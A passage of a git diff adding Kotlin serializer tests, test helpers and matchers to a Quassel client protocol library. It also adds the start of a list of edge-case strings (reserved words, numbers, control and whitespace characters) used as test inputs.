+    val bufferAscii = StringSerializerAscii.serializeRaw(data)
+    testQtSerializerDirect(ByteBufferSerializer, bufferAscii, ByteBufferMatcher(bufferAscii))
+    testQtSerializerVariant(ByteBufferSerializer, bufferAscii, ByteBufferMatcher(bufferAscii))
+
+    testQtSerializerDirect(StringSerializerUtf8, data)
+
+    val bufferUtf8 = StringSerializerUtf8.serializeRaw(data)
+    testQtSerializerDirect(ByteBufferSerializer, bufferUtf8, ByteBufferMatcher(bufferUtf8))
+    testQtSerializerVariant(ByteBufferSerializer, bufferUtf8, ByteBufferMatcher(bufferUtf8))
+
+    testQtSerializerDirect(StringSerializerUtf16, data)
+    testQtSerializerVariant(StringSerializerUtf16, data)
+
+    val bufferUtf16 = StringSerializerUtf16.serializeRaw(data)
+    testQtSerializerDirect(ByteBufferSerializer, bufferUtf16, ByteBufferMatcher(bufferUtf16))
+    testQtSerializerVariant(ByteBufferSerializer, bufferUtf16, ByteBufferMatcher(bufferUtf16))
+  }
+
+  @Test
+  fun testDeserializeEnglish() {
+    val value = """
+      : ACHTUNG!
+      ALLES TURISTEN UND NONTEKNISCHEN LOOKENPEEPERS!
+      DAS KOMPUTERMASCHINE IST NICHT FÜR DER GEFINGERPOKEN UND MITTENGRABEN! ODERWISE IST EASY TO SCHNAPPEN DER SPRINGENWERK, BLOWENFUSEN UND POPPENCORKEN MIT SPITZENSPARKEN.
+      IST NICHT FÜR GEWERKEN BEI DUMMKOPFEN. DER RUBBERNECKEN SIGHTSEEREN KEEPEN DAS COTTONPICKEN HÄNDER IN DAS POCKETS MUSS.
+      ZO RELAXEN UND WATSCHEN DER BLINKENLICHTEN.
+    """.trimIndent()
+
+    // @formatter:off
+    val utf8Buffer = byteBufferOf(0, 0, 1, -118, 58, 32, 65, 67, 72, 84, 85, 78, 71, 33, 10, 65, 76, 76, 69, 83, 32, 84, 85, 82, 73, 83, 84, 69, 78, 32, 85, 78, 68, 32, 78, 79, 78, 84, 69, 75, 78, 73, 83, 67, 72, 69, 78, 32, 76, 79, 79, 75, 69, 78, 80, 69, 69, 80, 69, 82, 83, 33, 10, 68, 65, 83, 32, 75, 79, 77, 80, 85, 84, 69, 82, 77, 65, 83, 67, 72, 73, 78, 69, 32, 73, 83, 84, 32, 78, 73, 67, 72, 84, 32, 70, -61, -100, 82, 32, 68, 69, 82, 32, 71, 69, 70, 73, 78, 71, 69, 82, 80, 79, 75, 69, 78, 32, 85, 78, 68, 32, 77, 73, 84, 84, 69, 78, 71, 82, 65, 66, 69, 78, 33, 32, 79, 68, 69, 82, 87, 73, 83, 69, 32, 73, 83, 84, 32, 69, 65, 83, 89, 32, 84, 79, 32, 83, 67, 72, 78, 65, 80, 80, 69, 78, 32, 68, 69, 82, 32, 83, 80, 82, 73, 78, 71, 69, 78, 87, 69, 82, 75, 44, 32, 66, 76, 79, 87, 69, 78, 70, 85, 83, 69, 78, 32, 85, 78, 68, 32, 80, 79, 80, 80, 69, 78, 67, 79, 82, 75, 69, 78, 32, 77, 73, 84, 32, 83, 80, 73, 84, 90, 69, 78, 83, 80, 65, 82, 75, 69, 78, 46, 10, 73, 83, 84, 32, 78, 73, 67, 72, 84, 32, 70, -61, -100, 82, 32, 71, 69, 87, 69, 82, 75, 69, 78, 32, 66, 69, 73, 32, 68, 85, 77, 77, 75, 79, 80, 70, 69, 78, 46, 32, 68, 69, 82, 32, 82, 85, 66, 66, 69, 82, 78, 69, 67, 75, 69, 78, 32, 83, 73, 71, 72, 84, 83, 69, 69, 82, 69, 78, 32, 75, 69, 69, 80, 69, 78, 32, 68, 65, 83, 32, 67, 79, 84, 84, 79, 78, 80, 73, 67, 75, 69, 78, 32, 72, -61, -124, 78, 68, 69, 82, 32, 73, 78, 32, 68, 65, 83, 32, 80, 79, 67, 75, 69, 84, 83, 32, 77, 85, 83, 83, 46, 10, 90, 79, 32, 82, 69, 76, 65, 88, 69, 78, 32, 85, 78, 68, 32, 87, 65, 84, 83, 67, 72, 69, 78, 32, 68, 69, 82, 32, 66, 76, 73, 78, 75, 69, 78, 76, 73, 67, 72, 84, 69, 78, 46)
+    val utf16Buffer = byteBufferOf(0, 0, 3, 14, 0, 58, 0, 32, 0, 65, 0, 67, 0, 72, 0, 84, 0, 85, 0, 78, 0, 71, 0, 33, 0, 10, 0, 65, 0, 76, 0, 76, 0, 69, 0, 83, 0, 32, 0, 84, 0, 85, 0, 82, 0, 73, 0, 83, 0, 84, 0, 69, 0, 78, 0, 32, 0, 85, 0, 78, 0, 68, 0, 32, 0, 78, 0, 79, 0, 78, 0, 84, 0, 69, 0, 75, 0, 78, 0, 73, 0, 83, 0, 67, 0, 72, 0, 69, 0, 78, 0, 32, 0, 76, 0, 79, 0, 79, 0, 75, 0, 69, 0, 78, 0, 80, 0, 69, 0, 69, 0, 80, 0, 69, 0, 82, 0, 83, 0, 33, 0, 10, 0, 68, 0, 65, 0, 83, 0, 32, 0, 75, 0, 79, 0, 77, 0, 80, 0, 85, 0, 84, 0, 69, 0, 82, 0, 77, 0, 65, 0, 83, 0, 67, 0, 72, 0, 73, 0, 78, 0, 69, 0, 32, 0, 73, 0, 83, 0, 84, 0, 32, 0, 78, 0, 73, 0, 67, 0, 72, 0, 84, 0, 32, 0, 70, 0, -36, 0, 82, 0, 32, 0, 68, 0, 69, 0, 82, 0, 32, 0, 71, 0, 69, 0, 70, 0, 73, 0, 78, 0, 71, 0, 69, 0, 82, 0, 80, 0, 79, 0, 75, 0, 69, 0, 78, 0, 32, 0, 85, 0, 78, 0, 68, 0, 32, 0, 77, 0, 73, 0, 84, 0, 84, 0, 69, 0, 78, 0, 71, 0, 82, 0, 65, 0, 66, 0, 69, 0, 78, 0, 33, 0, 32, 0, 79, 0, 68, 0, 69, 0, 82, 0, 87, 0, 73, 0, 83, 0, 69, 0, 32, 0, 73, 0, 83, 0, 84, 0, 32, 0, 69, 0, 65, 0, 83, 0, 89, 0, 32, 0, 84, 0, 79, 0, 32, 0, 83, 0, 67, 0, 72, 0, 78, 0, 65, 0, 80, 0, 80, 0, 69, 0, 78, 0, 32, 0, 68, 0, 69, 0, 82, 0, 32, 0, 83, 0, 80, 0, 82, 0, 73, 0, 78, 0, 71, 0, 69, 0, 78, 0, 87, 0, 69, 0, 82, 0, 75, 0, 44, 0, 32, 0, 66, 0, 76, 0, 79, 0, 87, 0, 69, 0, 78, 0, 70, 0, 85, 0, 83, 0, 69, 0, 78, 0, 32, 0, 85, 0, 78, 0, 68, 0, 32, 0, 80, 0, 79, 0, 80, 0, 80, 0, 69, 0, 78, 0, 67, 0, 79, 0, 82, 0, 75, 0, 69, 0, 78, 0, 32, 0, 77, 0, 73, 0, 84, 0, 32, 0, 83, 0, 80, 0, 73, 0, 84, 0, 90, 0, 69, 0, 78, 0, 83, 0, 80, 0, 65, 0, 82, 0, 75, 0, 69, 0, 78, 0, 46, 0, 10, 0, 73, 0, 83, 0, 84, 0, 32, 0, 78, 0, 73, 0, 67, 0, 72, 0, 84, 0, 32, 0, 70, 0, -36, 0, 82, 0, 32, 0, 71, 0, 69, 0, 87, 0, 69, 0, 82, 0, 75, 0, 69, 0, 78, 0, 32, 0, 66, 0, 69, 0, 73, 0, 32, 0, 68, 0, 85, 0, 77, 0, 77, 0, 75, 0, 79, 0, 80, 0, 70, 0, 69, 0, 78, 0, 46, 0, 32, 0, 68, 0, 69, 0, 82, 0, 32, 0, 82, 0, 85, 0, 66, 0, 66, 0, 69, 0, 82, 0, 78, 0, 69, 0, 67, 0, 75, 0, 69, 0, 78, 0, 32, 0, 83, 0, 73, 0, 71, 0, 72, 0, 84, 0, 83, 0, 69, 0, 69, 0, 82, 0, 69, 0, 78, 0, 32, 0, 75, 0, 69, 0, 69, 0, 80, 0, 69, 0, 78, 0, 32, 0, 68, 0, 65, 0, 83, 0, 32, 0, 67, 0, 79, 0, 84, 0, 84, 0, 79, 0, 78, 0, 80, 0, 73, 0, 67, 0, 75, 0, 69, 0, 78, 0, 32, 0, 72, 0, -60, 0, 78, 0, 68, 0, 69, 0, 82, 0, 32, 0, 73, 0, 78, 0, 32, 0, 68, 0, 65, 0, 83, 0, 32, 0, 80, 0, 79, 0, 67, 0, 75, 0, 69, 0, 84, 0, 83, 0, 32, 0, 77, 0, 85, 0, 83, 0, 83, 0, 46, 0, 10, 0, 90, 0, 79, 0, 32, 0, 82, 0, 69, 0, 76, 0, 65, 0, 88, 0, 69, 0, 78, 0, 32, 0, 85, 0, 78, 0, 68, 0, 32, 0, 87, 0, 65, 0, 84, 0, 83, 0, 67, 0, 72, 0, 69, 0, 78, 0, 32, 0, 68, 0, 69, 0, 82, 0, 32, 0, 66, 0, 76, 0, 73, 0, 78, 0, 75, 0, 69, 0, 78, 0, 76, 0, 73, 0, 67, 0, 72, 0, 84, 0, 69, 0, 78, 0, 46)
+    // @formatter:on
+    Assert.assertEquals(value, deserialize(StringSerializerUtf8, utf8Buffer))
+    Assert.assertEquals(value, deserialize(StringSerializerUtf16, utf16Buffer))
+  }
+
+  @Test
+  fun testAscii() {
+    // The simple solution: Just test all
+    val data = String(CharArray(256, Int::toChar).toList().shuffled().toCharArray())
+    testQtSerializerDirect(StringSerializerAscii, data)
+
+    val bufferAscii = StringSerializerAscii.serializeRaw(data)
+    testQtSerializerDirect(ByteBufferSerializer, bufferAscii, ByteBufferMatcher(bufferAscii))
+    testQtSerializerVariant(ByteBufferSerializer, bufferAscii, ByteBufferMatcher(bufferAscii))
+  }
+}
+
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/byteBufferOf.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/byteBufferOf.kt
new file mode 100644
index 0000000000000000000000000000000000000000..2d415ea2f7e4803ae25671e4c7221e0b16be683b
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/byteBufferOf.kt
@@ -0,0 +1,25 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.testutil
+
+import java.nio.ByteBuffer
+
+inline fun byteBufferOf(vararg elements: Byte) = ByteBuffer.wrap(byteArrayOf(*elements))
+inline fun byteBufferOf(vararg elements: UByte) = ByteBuffer.wrap(ubyteArrayOf(*elements).toByteArray())
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/deserialize.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/deserialize.kt
new file mode 100644
index 0000000000000000000000000000000000000000..1ae7d9908851f746e3bcf2b5e4675ae66bb36d6c
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/deserialize.kt
@@ -0,0 +1,61 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.testutil
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.serializers.handshake.HandshakeMapSerializer
+import de.kuschku.libquassel.protocol.serializers.handshake.HandshakeSerializer
+import de.kuschku.libquassel.protocol.serializers.primitive.QtSerializer
+import org.hamcrest.Matcher
+import org.hamcrest.MatcherAssert
+import org.junit.Assert
+import java.nio.ByteBuffer
+
+fun <T> deserialize(serializer: QtSerializer<T>, buffer: ByteBuffer): T {
+  val connectionFeatureSet = FeatureSet.build()
+  val result = serializer.deserialize(
+    buffer,
+    connectionFeatureSet
+  )
+  Assert.assertEquals(0, buffer.remaining())
+  return result
+}
+
+fun <T> testDeserialize(serializer: QtSerializer<T>, matcher: Matcher<in T>, buffer: ByteBuffer) {
+  val after = deserialize(serializer, buffer)
+  MatcherAssert.assertThat(after, matcher)
+}
+
+fun <T> testDeserialize(serializer: QtSerializer<T>, data: T, buffer: ByteBuffer) {
+  val after = deserialize(serializer, buffer)
+  Assert.assertEquals(data, after)
+}
+
+fun <T> testDeserialize(serializer: HandshakeSerializer<T>, matcher: Matcher<in T>, buffer: ByteBuffer) {
+  val map = deserialize(HandshakeMapSerializer, buffer)
+  val after = serializer.deserialize(map)
+  MatcherAssert.assertThat(after, matcher)
+}
+
+fun <T> testDeserialize(serializer: HandshakeSerializer<T>, data: T, buffer: ByteBuffer) {
+  val map = deserialize(HandshakeMapSerializer, buffer)
+  val after = serializer.deserialize(map)
+  Assert.assertEquals(data, after)
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/matchers/BomMatcherChar.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/matchers/BomMatcherChar.kt
new file mode 100644
index 0000000000000000000000000000000000000000..bd00fb1edb99c09e0d751bd3fd3a12cf18ed4869
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/matchers/BomMatcherChar.kt
@@ -0,0 +1,40 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.testutil.matchers
+
+import org.hamcrest.BaseMatcher
+import org.hamcrest.Description
+
+class BomMatcherChar(private val expected: Char) : BaseMatcher<Char>() {
+  private val malformed = charArrayOf(
+    '￾', ''
+  )
+
+  override fun describeTo(description: Description?) {
+    description?.appendText(expected.toString())
+  }
+
+  override fun matches(item: Any?): Boolean {
+    if (item is Char) {
+      return (item == expected) || (item in malformed && expected in malformed)
+    }
+    return false
+  }
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/matchers/BomMatcherString.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/matchers/BomMatcherString.kt
new file mode 100644
index 0000000000000000000000000000000000000000..de2e83e1639291ff8bcea8304bdf85389c90f75a
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/matchers/BomMatcherString.kt
@@ -0,0 +1,36 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.testutil.matchers
+
+import org.hamcrest.BaseMatcher
+import org.hamcrest.Description
+
+class BomMatcherString(private val expected: String) : BaseMatcher<String>() {
+  private val malformed = charArrayOf(
+    '￾', ''
+  )
+
+  override fun describeTo(description: Description?) {
+    description?.appendText(expected)
+  }
+
+  override fun matches(item: Any?) =
+    (item as? String)?.endsWith(expected.trimStart(*malformed)) == true
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/matchers/ByteBufferMatcher.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/matchers/ByteBufferMatcher.kt
new file mode 100644
index 0000000000000000000000000000000000000000..98a904e325c5553a26e7263ee9581b6e74632cc1
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/matchers/ByteBufferMatcher.kt
@@ -0,0 +1,34 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.testutil.matchers
+
+import de.kuschku.libquassel.protocol.io.contentToString
+import org.hamcrest.BaseMatcher
+import org.hamcrest.Description
+import java.nio.ByteBuffer
+
+class ByteBufferMatcher(private val expected: ByteBuffer) : BaseMatcher<ByteBuffer>() {
+  override fun describeTo(description: Description?) {
+    description?.appendText(expected.contentToString())
+  }
+
+  override fun matches(item: Any?) =
+    (item as? ByteBuffer)?.clear()?.contentToString() == expected.clear().contentToString()
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testHandshakeSerializerDirect.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testHandshakeSerializerDirect.kt
new file mode 100644
index 0000000000000000000000000000000000000000..a4c23c3f874e0ccfeb122bace63f0a113fadff46
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testHandshakeSerializerDirect.kt
@@ -0,0 +1,40 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.testutil
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.print
+import de.kuschku.libquassel.protocol.serializers.handshake.HandshakeSerializer
+import de.kuschku.libquassel.protocol.serializers.primitive.QtSerializer
+import org.hamcrest.Matcher
+import org.hamcrest.MatcherAssert
+import org.junit.Assert
+
+fun <T> testHandshakeSerializerDirect(serializer: HandshakeSerializer<T>, data: T, matcher: Matcher<T>? = null) {
+  val after = serializer.deserialize(serializer.serialize(data))
+
+  if (matcher != null) {
+    MatcherAssert.assertThat(data, matcher)
+  } else {
+    Assert.assertEquals(data, after)
+  }
+}
+
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testHandshakeSerializerEncoded.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testHandshakeSerializerEncoded.kt
new file mode 100644
index 0000000000000000000000000000000000000000..1ace04a4f72b3cac3312280cdc9e0ca0804c1f1f
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testHandshakeSerializerEncoded.kt
@@ -0,0 +1,49 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.testutil
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.print
+import de.kuschku.libquassel.protocol.serializers.handshake.HandshakeMapSerializer
+import de.kuschku.libquassel.protocol.serializers.handshake.HandshakeSerializer
+import de.kuschku.libquassel.protocol.serializers.primitive.QtSerializer
+import org.hamcrest.Matcher
+import org.hamcrest.MatcherAssert
+import org.junit.Assert
+
+fun <T> testHandshakeSerializerEncoded(serializer: HandshakeSerializer<T>, data: T, matcher: Matcher<T>? = null) {
+  val connectionFeatureSet = FeatureSet.build()
+  val buffer = ChainedByteBuffer()
+
+  HandshakeMapSerializer.serialize(buffer, serializer.serialize(data), connectionFeatureSet)
+  val result = buffer.toBuffer()
+  result.print()
+  val after = serializer.deserialize(HandshakeMapSerializer.deserialize(result, connectionFeatureSet))
+
+  Assert.assertEquals(0, result.remaining())
+
+  if (matcher != null) {
+    MatcherAssert.assertThat(data, matcher)
+  } else {
+    Assert.assertEquals(data, after)
+  }
+}
+
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testQtSerializerDirect.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testQtSerializerDirect.kt
new file mode 100644
index 0000000000000000000000000000000000000000..1855cab9e09d460060e62267204d9ed291e40c21
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testQtSerializerDirect.kt
@@ -0,0 +1,46 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.testutil
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.print
+import de.kuschku.libquassel.protocol.serializers.primitive.QtSerializer
+import org.hamcrest.Matcher
+import org.hamcrest.MatcherAssert
+import org.junit.Assert
+
+fun <T> testQtSerializerDirect(serializer: QtSerializer<T>, data: T, matcher: Matcher<T>? = null) {
+  val connectionFeatureSet = FeatureSet.build()
+  val buffer = ChainedByteBuffer()
+
+  serializer.serialize(buffer, data, connectionFeatureSet)
+  val result = buffer.toBuffer()
+  result.print()
+  val after = serializer.deserialize(result, connectionFeatureSet)
+
+  Assert.assertEquals(0, result.remaining())
+  if (matcher != null) {
+    MatcherAssert.assertThat(data, matcher)
+  } else {
+    Assert.assertEquals(data, after)
+  }
+}
+
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testQtSerializerVariant.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testQtSerializerVariant.kt
new file mode 100644
index 0000000000000000000000000000000000000000..e1da9981e23b3d0adc96136b954ee675b1ad703a
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/testutil/testQtSerializerVariant.kt
@@ -0,0 +1,47 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.testutil
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.print
+import de.kuschku.libquassel.protocol.serializers.primitive.QVariantSerializer
+import de.kuschku.libquassel.protocol.serializers.primitive.QtSerializer
+import de.kuschku.libquassel.protocol.variant.QVariant
+import org.hamcrest.Matcher
+import org.hamcrest.MatcherAssert
+import org.junit.Assert
+
+fun <T> testQtSerializerVariant(serializer: QtSerializer<T>, data: T, matcher: Matcher<in T>? = null) {
+  val connectionFeatureSet = FeatureSet.build()
+  val buffer = ChainedByteBuffer()
+
+  QVariantSerializer.serialize(buffer, QVariant.of(data, serializer), connectionFeatureSet)
+  val result = buffer.toBuffer()
+  result.print()
+  val after = QVariantSerializer.deserialize(result, connectionFeatureSet)
+
+  Assert.assertEquals(0, result.remaining())
+  if (matcher != null) {
+    MatcherAssert.assertThat(data, matcher)
+  } else {
+    Assert.assertEquals(data, after.value())
+  }
+}
diff --git a/protocol/src/test/resources/blns.txt b/protocol/src/test/resources/blns.txt
new file mode 100644
index 0000000000000000000000000000000000000000..54d73bf4682d4558c8427a79e798831e335bd48e
--- /dev/null
+++ b/protocol/src/test/resources/blns.txt
@@ -0,0 +1,712 @@
+#	Reserved Strings
+#
+#	Strings which may be used elsewhere in code
+
+undefined
+undef
+null
+NULL
+(null)
+nil
+NIL
+true
+false
+True
+False
+TRUE
+FALSE
+None
+hasOwnProperty
+then
+\
+\\
+
+#	Numeric Strings
+#
+#	Strings which can be interpreted as numeric
+
+0
+1
+1.00
+$1.00
+1/2
+1E2
+1E02
+1E+02
+-1
+-1.00
+-$1.00
+-1/2
+-1E2
+-1E02
+-1E+02
+1/0
+0/0
+-2147483648/-1
+-9223372036854775808/-1
+-0
+-0.0
++0
++0.0
+0.00
+0..0
+.
+0.0.0
+0,00
+0,,0
+,
+0,0,0
+0.0/0
+1.0/0.0
+0.0/0.0
+1,0/0,0
+0,0/0,0
+--1
+-
+-.
+-,
+999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
+NaN
+Infinity
+-Infinity
+INF
+1#INF
+-1#IND
+1#QNAN
+1#SNAN
+1#IND
+0x0
+0xffffffff
+0xffffffffffffffff
+0xabad1dea
+123456789012345678901234567890123456789
+1,000.00
+1 000.00
+1'000.00
+1,000,000.00
+1 000 000.00
+1'000'000.00
+1.000,00
+1 000,00
+1'000,00
+1.000.000,00
+1 000 000,00
+1'000'000,00
+01000
+08
+09
+2.2250738585072011e-308
+
+#	Special Characters
+#
+# ASCII punctuation.  All of these characters may need to be escaped in some
+# contexts.  Divided into three groups based on (US-layout) keyboard position.
+
+,./;'[]\-=
+<>?:"{}|_+
+!@#$%^&*()`~
+
+# Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F,
+# and U+007F (DEL)
+# Often forbidden to appear in various text-based file formats (e.g. XML),
+# or reused for internal delimiters on the theory that they should never
+# appear in input.
+# The next line may appear to be blank or mojibake in some viewers.
+
+
+# Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F.
+# Commonly misinterpreted as additional graphic characters.
+# The next line may appear to be blank, mojibake, or dingbats in some viewers.
+€‚ƒ„†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ
+
+# Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode
+# version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL),
+# and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often
+# treated as whitespace in some contexts.
+# This file unfortunately cannot express strings containing
+# U+0000, U+000A, or U+000D (NUL, LF, CR).
+# The next line may appear to be blank or mojibake in some viewers.
+# The next line may be flagged for "trailing whitespace" in some viewers.
+	 …             ​

   
+
+# Unicode additional control characters: all of the characters with
+# general category Cf (in Unicode 8.0.0).
+# The next line may appear to be blank or mojibake in some viewers.
